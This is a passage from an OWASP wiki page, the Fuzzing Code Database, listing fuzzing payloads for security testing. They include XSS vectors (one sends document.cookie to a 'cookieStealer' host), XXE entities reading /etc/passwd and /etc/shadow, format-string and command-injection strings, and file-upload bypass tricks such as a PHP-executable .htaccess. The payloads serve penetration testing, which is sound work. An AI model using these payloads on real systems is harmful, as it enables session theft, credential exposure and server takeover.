datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80070 2010-03-17T20:47:48Z

<p>Adam.muntner: /* Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 - notes ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === (Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863) ===<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> 